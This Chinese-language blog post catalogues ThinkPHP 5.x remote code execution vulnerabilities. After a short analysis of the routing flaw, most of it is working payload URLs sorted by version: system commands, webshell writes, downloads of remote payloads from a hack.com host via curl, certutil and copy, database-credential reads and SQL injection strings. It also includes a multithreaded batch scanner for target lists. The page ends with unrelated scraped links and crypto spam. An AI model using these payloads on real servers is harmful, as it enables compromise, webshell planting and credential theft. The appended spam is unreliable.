thinkphp各版本常用漏洞总结
0x01 漏洞分析及复现
1.漏洞分析
漏洞影响范围:
Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23
漏洞产生原因:
Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在 admin,index 模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行
漏洞分析:
既然是没有正确处理控制器名 $controller ,从最开始获取控制器名的代码来看:

发现在 $controller 中有过滤字符串中的 HTML 标签的strip_tags()函数,网站没有开启强制路由,问题可能出现在路由调度时,来看执行路由调度的代码:

其中使用了 $this->app->controller 的方法来实例化控制器,然后调用实例化中的方法,跟进controller方法:

其中通过 parseModuleAndClass 方法解析出 $module,$class。然后实例化 $class
着重看一下 parseModuleAndClass 方法:

发现 $name 如果以反斜线\开始时,直接进入第一个if判断,将 $name 直接作为类名,如果可以控制 $name (即路由中的controller部分),那么就可以实例化任何一个类
回看路由解析代码,其中的 parseUrl 方法调用了 parseUrlPath 方法来解析 $url ,也就是 pathinfo 中的路由信息

来看 parseUrlPath 如何解析 $url :

使用/对 $url 进行分割,未进行任何过滤,其中路由url从path()中获取


这里 Config::get('var_pathinfo') 是配置文件中的设置的参数,'var_pathinfo' 的默认配置为s,我们可以利用$_GET['s']来传递路由信息,也可以利用pathinfo来传递,
但测试时windows环境会将$_SERVER['pathinfo']中的\替换为/。结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method,这将会实例化\namespace\class并执行method方法。
2.漏洞复现
1. 代码执行
/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

2.任意文件写入
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码
把一句话 <?php phpinfo()?> 进行url编码:%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3f%3e

写入文件:

尝试访问shell.php:

写入成功
放出一些payload:
1. /index.php?s=index/\think\Request/input&filter=phpinfo&data=1
2. /index.php?s=index/\think\Request/input&filter=system&data=id
3. /index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4. /index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7. /index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8. /index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id9. /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['joker']);&joker=system("whoami");10. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=print_r(file_put_contents(%27xx.php%27,file_get_contents(%27https://www.baidu.com/x.txt%27)))(先file_get_contents读取远程文件内容为一句话 然后file_put_contents在当前目录下写入文件 而且不带<>)
批量检测脚本如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: thinkphp远程代码检测
description: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
''' import re
import sys
import requests
import queue
import threading
from bs4 import BeautifulSoup
class thinkphp_rce(threading.Thread):
def __init__(self, q):
threading.Thread.__init__(self)
self.q = q
def run(self):
while not self.q.empty():
url=self.q.get()
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
vulnurl = url + payload
try:
response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False) soup = BeautifulSoup(response.text,"lxml")
if 'PHP Version' in str(soup.text):
print ('[+] Remote code execution vulnerability exists at the target address')
print ('[+] Vulnerability url address ' + vulnurl)
with open('target.txt','a') as f1:
f1.write(vulnurl+'\n')
f1.close()
else:
print ('[-] There is no remote code execution vulnerability in the target address')
except:
print ('[!] Destination address cannot be connected')
def urlget():
with open('url.txt','r')as f:
urls=f.readlines()
for tmp in urls:
if '//' in tmp:
url=tmp.strip('\n')
urlList.append(url)
else:
url='http://'+tmp.strip('\n')
urlList.append(url)
return(urlList)
f.close() if __name__=="__main__":
print('''----------------扫描开始------------------- *Made by :tdcoming
*For More :https://t.zsxq.com/Ai2rj6E
*MY Heart :https://t.zsxq.com/A2FQFMN _______ _ _
|__ __| | | (_)
| | __| | ___ ___ _ __ ___ _ _ __ __ _
| | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \ / _` |
| || (_| || (__| (_) || | | | | || || | | || (_| |
|_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, |
__/ |
|___/
''')
urlList=[]
urlget()
threads = []
threads_count = 10
q=queue.Queue()
for url in urlList:
q.put(url)
for i in range(threads_count):
threads.append(thinkphp_rce(q))
for i in threads:
i.start()
for i in threads:
i.join()
1、将要检测的目标放在url.txt里面
2、如果存在漏洞的地址将自动生成一个target.txt文本保存
漏洞poc:
https://github.com/heroanswer/thinkphp_rce_poc
0x02 漏洞总结
1.thinkphp 5.0.5
waf对eval进行了拦截
禁止了assert函数
对eval函数后面的括号进行了正则过滤
对file_get_contents函数后面的括号进行了正则过滤
http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>
2.thinkphp 5.0.10
(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system
3.thinkphp 5.0.11
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php
4.thinkphp 5.0.14
eval('')和assert('')被拦截,命令函数被禁止
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
php7.2
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>
写进去发现转义了尖括号
通过copy函数
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php
5.thinkphp 5.0.18
windows
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo() 使用certutil
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
由于根目录没写权限,所以写到uploads
6.thinkphp 5.0.21
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
7.thinkphp 5.0.22
http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8.thinkphp 5.0.23
(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
Debug模式
(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
9.thinkphp 5.1.18
http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
所有目录都无写权限,base64函数被拦截
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])
10.thinkphp 5.1.*
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
11.thinkphp 5.1.*和5.2*和5.0*
(post)public/index.php (data)c=exec&f=calc.exe&_method=filter
12.thinkphp 未知版本
?s=index/\think\module/action/param1/${@phpinfo()}
?s=index/\think\Module/Action/Param/${@phpinfo()}
?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
index.php?s=/home/article/view_recent/name/1'
header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
index.php?s=/home/shopcart/getPricetotal/tag/1%27
index.php?s=/home/shopcart/getpriceNum/id/1%27
index.php?s=/home/user/cut/id/1%27
index.php?s=/home/service/index/id/1%27
index.php?s=/home/pay/chongzhi/orderid/1%27
index.php?s=/home/pay/index/orderid/1%27
index.php?s=/home/order/complete/id/1%27
index.php?s=/home/order/complete/id/1%27
index.php?s=/home/order/detail/id/1%27
index.php?s=/home/order/cancel/id/1%27
index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+
POST /index.php?s=/home/user/checkcode/ HTTP/1.1
Content-Disposition: form-data; name="couponid"1') union select sleep('''+str(sleep_time)+''')#
13.当php7以上无法使用Assert的时候用
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();
有上传图片或者日志用这个包含就可以
thinkphp各版本常用漏洞总结的更多相关文章
- Struts2-057/CVE-2018-11776两个版本RCE漏洞分析(含EXP)
0x01 前言 2018年8月22日,Apache Strust2发布最新安全公告,Apache Struts2存在远程代码执行的高危漏洞(S2-057/CVE-2018-11776),该漏洞由Sem ...
- 《metasploit渗透测试魔鬼训练营》靶机演练之第五章实战案例KingView 6.53版本CVE-2011-0406漏洞
在一个笔记本上开两个虚拟机有点卡,而且太麻烦,就把metasploit的目标靶机放在别的机器上了,ip自己配置了一下, 目标主机:192.168.137.254 入侵机:192.168.137.253 ...
- ThinkPHP最新版本SQL注入漏洞
如下controller即可触发SQL注入: code 区域 public function test() { $uname = I('get.uname'); $u = M('user')-> ...
- MongoDB-JAVA-Driver 3.2版本常用代码全整理(4) - 地理空间索引
MongoDB的3.x版本Java驱动相对2.x做了全新的设计,类库和使用方法上有很大区别.例如用Document替换BasicDBObject.通过Builders类构建Bson替代直接输入$命令等 ...
- MongoDB-JAVA-Driver 3.2版本常用代码全整理(3) - 聚合
MongoDB的3.x版本Java驱动相对2.x做了全新的设计,类库和使用方法上有很大区别.例如用Document替换BasicDBObject.通过Builders类构建Bson替代直接输入$命令等 ...
- MongoDB-JAVA-Driver 3.2版本常用代码全整理(2) - 查询
MongoDB的3.x版本Java驱动相对2.x做了全新的设计,类库和使用方法上有很大区别.例如用Document替换BasicDBObject.通过Builders类构建Bson替代直接输入$命令等 ...
- MongoDB-JAVA-Driver 3.2版本常用代码全整理(1) - 增删改
MongoDB的3.x版本java驱动相对2.x做了全新的设计,类库和使用方法上有很大区别.例如用Document替换BasicDBObject.通过Builders类构建Bson替代直接输入$命令等 ...
- Win95+IE3 – Win10+IE11全版本执行漏洞(含POC)
微软本月安全更新修复了一个潜藏了18年的IE远程代码执行漏洞(CVE-2014-6332),可以说是给windows吃了一颗大补丸.缺陷出现在VBScript的代码中,自Windows 95首次发布( ...
- ecshop 全系列版本网站漏洞 远程代码执行sql注入漏洞
ecshop漏洞于2018年9月12日被某安全组织披露爆出,该漏洞受影响范围较广,ecshop2.73版本以及目前最新的3.0.3.6.4.0版本都受此次ecshop漏洞的影响,主要漏洞是利用远程代码 ...
随机推荐
- NGK:价值对标比特币,上线暴涨4558%,下一个财富暴增风口
近期,美股行情多变,一直饱受争议的比特币也成了其中的"弄潮儿".看多者认为,机构的兴趣有助于支撑比特币作为对冲美元疲软和通胀的工具. 特别是今年1月底的时候,马斯克将推特简介更改为 ...
- NGK Global首尔站:内存是未来获取数字财富的新模式
近日,NGK路演在NGK韩国社区的积极举办下顺利落下帷幕.此次路演在首尔举行,在活动当天,NGK的核心团队成员.行业专家.投资银行精英.生态产业代表和数百名NGK韩国社区粉丝一起参加NGK Globa ...
- 「NGK每日快讯」12.15日NGK公链第42期官方快讯!
- ToolBar 用法
xml中的设置: <android.support.v7.widget.Toolbar android:id="@+id/toolbar" android:layout_wi ...
- spring boot插件开发实战和原理
本文转载自spring boot插件开发实战和原理 实战:编写spring boot插件 为什么要编写boot插件 因为我们在开发的时候需要提供一些共同的功能,所以我们编写个共同的jar包.开发人员在 ...
- Elastic App Search 快速构建 ES 应用
公号:码农充电站pro 主页:https://codeshellme.github.io App Search 是 Elastic 家族中的一个产品,它可以帮助我们(基于 ES)快速高效的构建搜索应用 ...
- 八. SpringCloud消息总线
1. 消息总线概述 1.1 分布式配置的动态刷新问题 Linux运维修改Github上的配置文件内容做调整 刷新3344,发现ConfigServer配置中心立刻响应 刷新3355,发现ConfigC ...
- 记客户端WebBrowser控件修改版本的问题
保留在本地电脑的一篇记录,第二条描述是在网上看来的,忘记在哪看的了,也就没注明出处,望见谅. 1.Winform内置浏览器控件的底层调用与系统IE浏览器的底层调用相同. 2.IE8 对渲染引擎做了很大 ...
- Java传参:值传递 or 引用传递 ?
刚开始学Java的时候一度以为:基本数据类型是值传递,引用类型是引用传递.新人很容易在这两个概念上面被搞糊涂,后来看了Hollis的文章才明白了Java中只有值传递. 接下来我能用简单明了的方式来说明 ...
- mysql建表约束
--mysql建表约束--主键约束它能够唯一确定一张表中的内容,也就是我们通过某个字段添加约束,就可以是的该字段唯一(不重复)且不为空.create table user( id int pr ...